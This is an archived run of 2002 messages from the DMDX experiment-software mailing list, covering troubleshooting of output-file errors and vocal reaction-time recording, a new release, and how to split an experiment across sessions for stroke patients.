DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I have installed dmdx on several machines here, except for one they all work fine. The one that has a problem runs all tests fine and then when i do a syntax check over features.rtf it runs all lines of the file and then says: write to output file failed disk full. checked the disk: it isn't full (in fact it has almost 4 GB left). I have all rights to read and write in folder in which features.rtf is stored. The machine isn't exactly brand new, but I have installed win98 just the other day. To do this I took off winnt and reformated the harddisk. Could it still be that the disk isn't integral? best, ruben van de vijver >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 14 10:06:30 2002 Received: from box.holviala.com (box.holviala.com [62.236.254.198]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAEGoNMS008975 for ; Thu, 14 Nov 2002 09:50:24 -0700 Received: from 195.83.32.21 (localhost [127.0.0.1]) by box.holviala.com (Postfix) with ESMTP id EB58723D25 for ; Thu, 14 Nov 2002 18:46:02 +0200 (EET) To: DMDX@psy1.psych.arizona.edu From: alario Subject: [DMDX] Re: write to o/p file Date: Thu, 14 Nov 2002 17:43:37 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list hi check the read only feature in the informations attached to your file (right click on the icon): to the file itself, not just the folder. if the file is read only (i have noticed that files sometimes become read only at random on windows) they don't run in dmdx and you get the disk full message meybe it s something else cheers x At Thursday, 14 November 2002, you wrote: >Hi, > >I have installed dmdx on several machines here, except for one they all >work fine. The one that has a problem runs all tests fine and then when >i do a syntax check over features.rtf it runs all lines of the file and >then says: write to output file failed disk full. > >checked the disk: it isn't full (in fact it has almost 4 GB left). I >have all rights to read and write in folder in which features.rtf is >stored. > >The machine isn't exactly brand new, but I have installed win98 just the >other day. To do this I took off winnt and reformated the harddisk. >Could it still be that the disk isn't integral? > >best, > >ruben van de vijver > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > =================================================================== EASY and FREE access to your email anywhere: http://Mailreader.com/ =================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 14 17:35:27 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAF0YCMS009458 for ; Thu, 14 Nov 2002 17:34:12 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAF0Tu79027119 for ; Thu, 14 Nov 2002 17:29:56 -0700 (MST) Message-Id: <5.1.0.14.2.20021114172842.00b128d0@psy1.psych.arizona.edu> Date: Thu, 14 Nov 2002 17:29:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: write to o/p file In-Reply-To: <3DD3D07A.4030802@ling.uni-potsdam.de> References: <5.1.0.14.2.20021025204753.00b128a0@psy1.psych.arizona.edu> <5.1.0.14.2.20021026182628.00b12878@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:34 PM 11/14/2002 +0100, you wrote: >Hi, > >I have installed dmdx on several machines here, except for one they all >work fine. The one that has a problem runs all tests fine and then when i >do a syntax check over features.rtf it runs all lines of the file and >then says: write to output file failed disk full. > >checked the disk: it isn't full (in fact it has almost 4 GB left). I have >all rights to read and write in folder in which features.rtf is stored. > >The machine isn't exactly brand new, but I have installed win98 just the >other day. To do this I took off winnt and reformated the harddisk. Could >it still be that the disk isn't integral? You could just run the disk checker on it and be sure. If it's ok something has to be RO somewhere in there though. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 14 18:57:56 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAF1jfMS009562 for ; Thu, 14 Nov 2002 18:45:42 -0700 Received: from PYSCMASTERS06 ([137.154.108.112]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id gAF1fO104188 for ; Fri, 15 Nov 2002 12:41:24 +1100 (EST) Message-ID: <000901c28c49$298f8cd0$706c9a89@PYSCMASTERS06> From: ""Arch Tibben"" To: References: Subject: [DMDX] Re: write to o/p file Date: Fri, 15 Nov 2002 12:48:56 +1100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Guys I have had the same problem and have (unsatisfactorally "" got around it"" ) by loading the prog, running it, terminating it, exit, restarting dmdx, and .put in subject no and start (do not reload the file as it is already there/via browse etc). If you reload your file the problem persists This seems to run OK (results) However one has to be prepared to endure the rigmoroll. arch ----- Original Message ----- From: ""alario"" To: Sent: Friday, November 15, 2002 3:43 AM Subject: [DMDX] Re: write to o/p file > hi > > check the read only feature in the informations attached to your > file (right click on the icon): to the file itself, not just the > folder. if the file is read only (i have noticed that files sometimes > become read only at random on windows) they don't run in dmdx and > you get the disk full message > > > meybe it s something else > > cheers > > > x > > At Thursday, 14 November 2002, you wrote: > > >Hi, > > > >I have installed dmdx on several machines here, except for one they > all > >work fine. The one that has a problem runs all tests fine and then > when > >i do a syntax check over features.rtf it runs all lines of the > file and > >then says: write to output file failed disk full. > > > >checked the disk: it isn't full (in fact it has almost 4 GB left). I > >have all rights to read and write in folder in which features.rtf is > >stored. > > > >The machine isn't exactly brand new, but I have installed win98 > just the > >other day. To do this I took off winnt and reformated the harddisk. > >Could it still be that the disk isn't integral? > > > >best, > > > >ruben van de vijver > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > > > > > > =================================================================== > EASY and FREE access to your email anywhere: http://Mailreader.com/ > =================================================================== > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 15 10:34:14 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAFHX9MS010405 for ; Fri, 15 Nov 2002 10:33:09 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DD4ECB900009CC1 for DMDX@psy1.psych.arizona.edu; Fri, 15 Nov 2002 10:28:52 -0700 Message-Id: <5.1.0.14.2.20021115102012.00b13318@psy1.psych.arizona.edu> Date: Fri, 15 Nov 2002 10:28:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: write to o/p file In-Reply-To: <000901c28c49$298f8cd0$706c9a89@PYSCMASTERS06> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:48 PM 11/15/2002 +1100, you wrote: >Hi Guys >I have had the same problem and have (unsatisfactorally "" got around it"" ) >by loading the prog, running it, terminating it, exit, restarting dmdx, and >.put in subject no and start >(do not reload the file as it is already there/via browse etc). If you >reload your file the problem persists > >This seems to run OK (results) >However one has to be prepared to endure the rigmoroll. If people with this problem would check what job1.zil has in it and where it is this might help me deduce what is failing on these machines. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Marriage Ceremony: An incredible metaphysical sham of watching God and the law being dragged into the affairs of your family. - O. C. Ogilvie >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 15 15:24:34 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAFMO3MS010711 for ; Fri, 15 Nov 2002 15:24:03 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DD4ECB9000177CD; Fri, 15 Nov 2002 15:19:44 -0700 Message-Id: <5.1.0.14.2.20021115150338.00b13328@psy1.psych.arizona.edu> Date: Fri, 15 Nov 2002 15:19:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.11 Cc: chk@u.arizona.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list After threefold reconstruction I think I finally have code in version 3.0.0.11 of DMDX for the RecordVocal and DigitalVOX devices that works (a) with all manner of poor sound card drivers because it never tries to turn the capture buffers off or do anything even remotely fancy with them (b) works under both winME and XP (c) works with variable length recordings and (d) gets around a dozen other problems I'm not even going to mention. Messy messy messy stuff but RTs with my automatic digital vox tester script are all plus or minus a millisecond or so on my machines. The XP box has horrible latency (playing + recording) of 38ms but better drivers may reduce that. The winME box with it's AC97 has 1.5ms of latency for comparison. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 15 16:49:04 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAFNmlMS010861 for ; Fri, 15 Nov 2002 16:48:47 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DD4ECB90001BF2C for DMDX@psy1.psych.arizona.edu; Fri, 15 Nov 2002 16:44:28 -0700 Message-Id: <5.1.0.14.2.20021115163653.00b13318@psy1.psych.arizona.edu> Date: Fri, 15 Nov 2002 16:44:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: DMDX 3.0.0.11 In-Reply-To: <5.1.0.14.2.20021115150338.00b13328@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well that didn't take too long to find a mistake. For now if you intend to use both RecordVocal and DigitalVOX the DigitalVOX definition should precede the RecordVocal one like so: N5 If DigitalVOX comes second it looks like it never sees any signal so it never generates a trigger -- RecordVocal does however dutifully record until the timeout occurs. Also looks like RecordVocal won't run in legacy mode with a DigitalVOX, it will always stop recording some time after the trigger. Not major problems so I won't be addressing them till next week. Like I said, messy. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 04:56:07 2002 Received: from esgbox (esgbox.ub.es [161.116.1.5]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAIBsiMS013883 for ; Mon, 18 Nov 2002 04:54:48 -0700 Received: from psi.ub.es ([161.116.98.10]) by esgbox.ub.es (PMDF V5.2-32 #43158) with ESMTP id <0H5R0049LVWGTA@esgbox.ub.es> for DMDX@psy1.psych.arizona.edu; Mon, 18 Nov 2002 12:55:28 +0000 (GMT) Received: from PSI-S/SpoolDir by psi.ub.es (Mercury 1.43); Mon, 18 Nov 2002 12:36:41 +0100 Received: from SpoolDir by PSI-S (Mercury 1.43); Mon, 18 Nov 2002 12:36:26 +0100 Received: from psi.ub.es (161.116.218.41) by psi.ub.es (Mercury 1.43) with ESMTP; Mon, 18 Nov 2002 12:36:26 +0100 Date: Mon, 18 Nov 2002 12:36:25 +0100 From: albert costa Subject: [DMDX] Missing RT for one random trial To: DMDX@psy1.psych.arizona.edu Message-id: <3DD8D0B9.3E3C23E0@psi.ub.es> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I am having problems running the program I attach below. The problem is that RTs taken from the michrophone are not register for one trial. That is, the program works perfectly, but in one single trial out of the 33, the computer does not register the answer of the subject and as a consequence a non-response is recorded. To make things worse, the missing trial is completely at random. Any suggestions? < DefaultBackgroundColor 0> 0 ""ready""; +004 / ""refreda"" / * �@@@�/ ; 0 ""?""; +003 / ""matines"" / * �@� /; 0 ""?""; +003 / ""aixeques"" / * �@� /; 0 ""?""; +001 / ""aprima"" / * �@� /; 0 ""?""; +004 / ""rebutja"" / * �@@@� / ; 0 ""?""; +001 / ""estalvia"" / * �@� /; 0 ""?""; +003 / ""berenes"" / * �@� /; 0 ""?""; +003 / ""buides"" / * �@� /; 0 ""?""; +004 / ""retalla"" / * �@@@� / ; 0 ""?""; +003 / ""plores"" / * �@� /; 0 ""?""; +003 / ""mulles"" / * �@� /; 0 ""?""; +004 / ""bufa"" / * �@@@� / ; 0 ""?""; +002 / ""parles"" / * �@@@� /; 0 ""?""; +001 / ""apropa"" / * �@� /; 0 ""?""; +004 / ""tremola"" / * �@@@� / ; 0 ""?""; +001 / ""badalla"" / * �@� /; 0 ""?""; +004 / ""somia"" / * �@@@� / ; 0 ""?""; +002 / ""tanques"" / * �@@@� /; 0 ""?""; +003 / ""netejes"" / * �@� /; 0 ""?""; +002 / ""empitjores"" / * �@@@� /; 0 ""?""; +004 / ""rellisca"" / * �@@@� / ; 0 ""?""; +001 / ""raspalla"" / * �@� /; 0 ""?""; +002 / ""espatlles"" / * �@@@� /; 0 ""?""; +002 / ""trobes"" / * �@@@� /; 0 ""?""; +001 / ""forada"" / * �@� /; 0 ""?""; +004 / ""trepitja"" / * �@@@� / ; 0 ""?""; +001 / ""lloga"" / * �@� /; 0 ""?""; +001 / ""arrossega"" / * �@� /; 0 ""?""; +003 / ""pentines"" / * �@� /; 0 ""?""; +002 / ""penjes"" / * �@@@� /; 0 ""?""; +002 / ""embrutes"" / * �@@@� /; 0 ""?""; +004 / ""xiula"" / * �@@@� / ; 0 ""?""; +002 / ""endolles"" / * �@@@� /; 0 ""?""; >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 06:28:34 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAIDSIMS014027 for ; Mon, 18 Nov 2002 06:28:18 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA5DA1 for ; Mon, 18 Nov 2002 14:22:58 +0100 Message-ID: <3DD8E9B6.50300@ling.uni-potsdam.de> Date: Mon, 18 Nov 2002 14:23:02 +0100 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] discontinuous presentation References: <3DD8D0B9.3E3C23E0@psi.ub.es> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, we are working with stroke patients whose attention span varies from day to day. we would like to present as much of an experiment as the patient can take and then continue some other time. is this possible? best, eva eckholt ruben van de vijver >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 10:28:27 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAIHS6MS014527 for ; Mon, 18 Nov 2002 10:28:06 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DD8E2620000A154 for DMDX@psy1.psych.arizona.edu; Mon, 18 Nov 2002 10:23:39 -0700 Message-Id: <5.1.0.14.2.20021118102242.00b13270@psy1.psych.arizona.edu> Date: Mon, 18 Nov 2002 10:23:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Missing RT for one random trial In-Reply-To: <3DD8D0B9.3E3C23E0@psi.ub.es> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Which version of DMDX is this? At 12:36 PM 11/18/2002 +0100, you wrote: >Hi, > > I am having problems running the program I attach below. The problem is >that RTs >taken from the michrophone are not register for one trial. That is, the >program >works perfectly, but in one single trial out of the 33, the computer >does not >register the answer of the subject and as a consequence a non-response >is >recorded. To make things worse, the missing trial is completely at >random. Any >suggestions? > > > > > > > > > > > > > > > >< DefaultBackgroundColor 0> > > > > > >0 ""ready""; >+004 / ""refreda"" / * ""@@@""/ ; 0 ""?""; >+003 / ""matines"" / * ""@"" /; 0 ""?""; >+003 / ""aixeques"" / * ""@"" /; 0 ""?""; >+001 / ""aprima"" / * ""@"" /; 0 ""?""; >+004 / ""rebutja"" / * ""@@@"" / ; 0 ""?""; >+001 / ""estalvia"" / * ""@"" /; 0 ""?""; >+003 / ""berenes"" / * ""@"" /; 0 ""?""; >+003 / ""buides"" / * ""@"" /; 0 ""?""; >+004 / ""retalla"" / * ""@@@"" / ; 0 ""?""; >+003 / ""plores"" / * ""@"" /; 0 ""?""; >+003 / ""mulles"" / * ""@"" /; 0 ""?""; >+004 / ""bufa"" / * ""@@@"" / ; 0 ""?""; >+002 / ""parles"" / * ""@@@"" /; 0 ""?""; >+001 / ""apropa"" / * ""@"" /; 0 ""?""; >+004 / ""tremola"" / * ""@@@"" / ; 0 ""?""; >+001 / ""badalla"" / * ""@"" /; 0 ""?""; >+004 / ""somia"" / * ""@@@"" / ; 0 ""?""; >+002 / ""tanques"" / * ""@@@"" /; 0 ""?""; >+003 / ""netejes"" / * ""@"" /; 0 ""?""; >+002 / ""empitjores"" / * ""@@@"" /; 0 ""?""; >+004 / ""rellisca"" / * ""@@@"" / ; 0 ""?""; >+001 / ""raspalla"" / * ""@"" /; 0 ""?""; >+002 / ""espatlles"" / * ""@@@"" /; 0 ""?""; >+002 / ""trobes"" / * ""@@@"" /; 0 ""?""; >+001 / ""forada"" / * ""@"" /; 0 ""?""; >+004 / ""trepitja"" / * ""@@@"" / ; 0 ""?""; >+001 / ""lloga"" / * ""@"" /; 0 ""?""; >+001 / ""arrossega"" / * ""@"" /; 0 ""?""; >+003 / ""pentines"" / * ""@"" /; 0 ""?""; >+002 / ""penjes"" / * ""@@@"" /; 0 ""?""; >+002 / ""embrutes"" / * ""@@@"" /; 0 ""?""; >+004 / ""xiula"" / * ""@@@"" / ; 0 ""?""; >+002 / ""endolles"" / * ""@@@"" /; 0 ""?""; > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 10:52:55 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAIHhbMS014595 for ; Mon, 18 Nov 2002 10:43:38 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DD8E2620000B028 for DMDX@psy1.psych.arizona.edu; Mon, 18 Nov 2002 10:39:10 -0700 Message-Id: <5.1.0.14.2.20021118103728.00b372b0@psy1.psych.arizona.edu> Date: Mon, 18 Nov 2002 10:39:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Missing RT for one random trial In-Reply-To: <3DD8D0B9.3E3C23E0@psi.ub.es> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Works fine on my test bed under 3.0.0.11. If you are using an older version of DMDX I did see at least one machine's driver failure take a form similar to the one you describe. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 10:53:08 2002 Received: from esgbox (esgbox.ub.es [161.116.1.5]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAIHr5MS014686 for ; Mon, 18 Nov 2002 10:53:05 -0700 Received: from psi.ub.es ([161.116.98.10]) by esgbox.ub.es (PMDF V5.2-32 #43158) with ESMTP id <0H5S007D7CHIZC@esgbox.ub.es> for DMDX@psy1.psych.arizona.edu; Mon, 18 Nov 2002 18:53:42 +0000 (GMT) Received: from PSI-S/SpoolDir by psi.ub.es (Mercury 1.43); Mon, 18 Nov 2002 18:34:55 +0100 Received: from SpoolDir by PSI-S (Mercury 1.43); Mon, 18 Nov 2002 18:34:37 +0100 Received: from psi.ub.es (161.116.218.41) by psi.ub.es (Mercury 1.43) with ESMTP; Mon, 18 Nov 2002 18:34:34 +0100 Date: Mon, 18 Nov 2002 18:34:32 +0100 From: albert costa Subject: [DMDX] Re: Missing RT for one random trial To: DMDX@psy1.psych.arizona.edu Message-id: <3DD924A7.CAA8085D@psi.ub.es> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit References: <5.1.0.14.2.20021118103728.00b372b0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks for your answer the version is the 3.0.0.04 Shall I use 3.0.0.11? Albert ""Jonathan C. Forster"" wrote: > Works fine on my test bed under 3.0.0.11. If you are using an older > version of DMDX I did see at least one machine's driver failure take a form > similar to the one you describe. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > People will do tomorrow what they did today because that is what they > did yesterday. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 10:56:55 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAIHuqMS014729 for ; Mon, 18 Nov 2002 10:56:52 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DD8E2620000BB3B for DMDX@psy1.psych.arizona.edu; Mon, 18 Nov 2002 10:52:25 -0700 Message-Id: <5.1.0.14.2.20021118104101.00b372b0@psy1.psych.arizona.edu> Date: Mon, 18 Nov 2002 10:51:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: discontinuous presentation In-Reply-To: <3DD8E9B6.50300@ling.uni-potsdam.de> References: <3DD8D0B9.3E3C23E0@psi.ub.es> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:23 PM 11/18/2002 +0100, you wrote: >Hi, > >we are working with stroke patients whose attention span varies from day >to day. we would like to present as much of an experiment as the patient >can take and then continue some other time. is this possible? Yes, it takes a pretty complex item file and I guess I should add a chapter to the help on it but I haven't yet. This technique also works with scrambling. Basically you create two item files, the first is the seed that starts a given subject off and doesn't do anything more than initialize a counter for each item to zero then saves them with and chains to the second item file with . This second file can also be run again and again till all items have been presented. Each item in the second file only executes if it's unique counter is zero (ie it has a branch before it that skips to the next item if the respective counter is non-zero), when it does execute it increments that counter. When the item file finishes it saves the counters so it can be run again. You'll have to toss periodic probes into the file to see if the experimenter wants to stop, you could use for responses and if an abort key is pressed the item branches to the end to save the counters and exit, other branches would be to record a positive and negative response and so forth -- you could use to simplify that. Fairly complex. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 10:58:07 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAIHw5MS014764 for ; Mon, 18 Nov 2002 10:58:05 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DD8E2620000BC37 for DMDX@psy1.psych.arizona.edu; Mon, 18 Nov 2002 10:53:38 -0700 Message-Id: <5.1.0.14.2.20021118105230.00b13270@psy1.psych.arizona.edu> Date: Mon, 18 Nov 2002 10:53:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Missing RT for one random trial In-Reply-To: <3DD924A7.CAA8085D@psi.ub.es> References: <5.1.0.14.2.20021118103728.00b372b0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:34 PM 11/18/2002 +0100, you wrote: >Thanks for your answer > >the version is the 3.0.0.04 > >Shall I use 3.0.0.11? Yep, 3.0.0.11 puts much less strain on sound capture drivers but simply turning them on and leaving them on all the time. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 18 14:41:29 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAILP0MS015084 for ; Mon, 18 Nov 2002 14:25:00 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DD8E26200017537 for DMDX@psy1.psych.arizona.edu; Mon, 18 Nov 2002 14:20:32 -0700 Message-Id: <5.1.0.14.2.20021118141846.00b13318@psy1.psych.arizona.edu> Date: Mon, 18 Nov 2002 14:20:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: discontinuous presentation In-Reply-To: <5.1.0.14.2.20021118104101.00b372b0@psy1.psych.arizona.edu> References: <3DD8E9B6.50300@ling.uni-potsdam.de> <3DD8D0B9.3E3C23E0@psi.ub.es> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:51 AM 11/18/2002 -0700, you wrote: >At 02:23 PM 11/18/2002 +0100, you wrote: >>Hi, >> >>we are working with stroke patients whose attention span varies from day >>to day. we would like to present as much of an experiment as the patient >>can take and then continue some other time. is this possible? > > > Yes, it takes a pretty complex item file and I guess I should add a > chapter to the help on it but I haven't yet. This technique also works > with scrambling. Basically you create two item files, the first is the > seed that starts a given subject off and doesn't do anything more than > initialize a counter for each item to zero then saves them with > and chains to the second item file with . This > second file can also be run again and again till all items have been presented. Of course, the first thing the second item file does is to use ... > Each item in the second file only executes if it's unique counter is > zero (ie it has a branch before it that skips to the next item if the > respective counter is non-zero), when it does execute it increments that > counter. When the item file finishes it saves the counters so it can be > run again. You'll have to toss periodic probes into the file to see if > the experimenter wants to stop, you could use for > responses and if an abort key is pressed the item branches to the end to > save the counters and exit, other branches would be to record a positive > and negative response and so forth -- you could use to > simplify that. Fairly complex. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 19 14:06:20 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAJL5QMS016519 for ; Tue, 19 Nov 2002 14:05:30 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DDA33E8000165FA for DMDX@psy1.psych.arizona.edu; Tue, 19 Nov 2002 14:00:56 -0700 Message-Id: <5.1.0.14.2.20021119135912.00b13398@psy1.psych.arizona.edu> Date: Tue, 19 Nov 2002 14:00:50 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] example Mime-Version: 